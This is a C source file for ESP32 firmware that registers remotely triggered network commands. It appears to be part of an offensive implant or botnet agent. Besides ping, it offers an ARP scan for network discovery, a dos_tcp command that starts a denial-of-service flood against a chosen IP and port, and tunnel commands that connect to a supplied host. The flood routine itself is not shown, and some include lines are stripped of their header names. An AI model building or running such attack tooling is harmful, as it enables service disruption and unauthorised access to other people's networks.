/* * cmd_network.c * Refactored for new command system (protobuf-based) */ #include #include #include #include "esp_log.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "utils.h" #ifdef CONFIG_MODULE_TUNNEL #include "tun_core.h" #endif /* ============================================================ * EXTERNAL SYMBOLS * ============================================================ */ int do_ping_cmd(int argc, char **argv, const char *req); void arp_scan_task(void *pvParameters); void start_dos(const char *t_ip, uint16_t t_port, int count); #define TAG "CMD_NETWORK" /* ============================================================ * COMMAND: ping [...] * ============================================================ */ static int cmd_ping( int argc, char **argv, const char *req, void *ctx ) { (void)ctx; if (argc < 1) { msg_error(TAG, "usage: ping [...]", req); return -1; } return do_ping_cmd(argc, argv, req); } /* ============================================================ * COMMAND: arp_scan * ============================================================ */ static int cmd_arp_scan( int argc, char **argv, const char *req, void *ctx ) { (void)argc; (void)argv; (void)ctx; /* Heap-copy request_id for the scan task (freed inside arp_scan_task) */ char *req_copy = req ? strdup(req) : NULL; xTaskCreatePinnedToCore( arp_scan_task, "arp_scan", 6144, req_copy, 5, NULL, 1 ); return 0; } /* ============================================================ * COMMAND: dos_tcp * ============================================================ */ static int cmd_dos_tcp( int argc, char **argv, const char *req, void *ctx ) { (void)ctx; if (argc != 3) { msg_error(TAG, "usage: dos_tcp ", req); return -1; } start_dos( argv[0], (uint16_t)atoi(argv[1]), atoi(argv[2]) ); msg_info(TAG, "DOS task started", req); return 0; } #ifdef CONFIG_MODULE_TUNNEL /* ============================================================ * COMMAND: tun_start * ============================================================ */ static int cmd_tun_start( int argc, char **argv, const char *req, void *ctx ) { (void)ctx; if (argc != 2) { msg_error(TAG, "usage: tun_start ", req); return -1; } if (tun_is_running()) { msg_error(TAG, "tunnel already running", req); return -1; } int port = atoi(argv[1]); if (port <= 0 || port > 65535) { msg_error(TAG, "invalid port", req); return -1; } if (!tun_start(argv[0], port, req)) { msg_error(TAG, "tunnel start failed", req); return -1; } msg_info(TAG, "tunnel starting", req); return 0; } /* ============================================================ * COMMAND: tun_stop * ============================================================ */ static int cmd_tun_stop( int argc, char **argv, const char *req, void *ctx ) { (void)argc; (void)argv; (void)ctx; if (!tun_is_running()) { msg_error(TAG, "tunnel not running", req); return -1; } tun_stop(); msg_info(TAG, "tunnel stopping", req); return 0; } /* ============================================================ * COMMAND: tun_status * ============================================================ */ static int cmd_tun_status( int argc, char **argv, const char *req, void *ctx ) { (void)argc; (void)argv; (void)ctx; char status[256]; tun_get_status(status, sizeof(status)); msg_info(TAG, status, req); return 0; } #endif /* CONFIG_MODULE_TUNNEL */ /* ============================================================ * REGISTER COMMANDS * ============================================================ */ static const command_t network_cmds[] = { { "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true }, { "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true }, { "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true }, #ifdef CONFIG_MODULE_TUNNEL { "tun_start", NULL, "Start tunnel: tun_start ", 2, 2, cmd_tun_start, NULL, true }, { "tun_stop", NULL, "Stop tunnel", 0, 0, cmd_tun_stop, NULL, false }, { "tun_status", NULL, "Tunnel status", 0, 0, cmd_tun_status, NULL, false }, #endif }; void mod_network_register_commands(void) { for (size_t i = 0; i < sizeof(network_cmds) / sizeof(network_cmds[0]); i++) { command_register(&network_cmds[i]); } }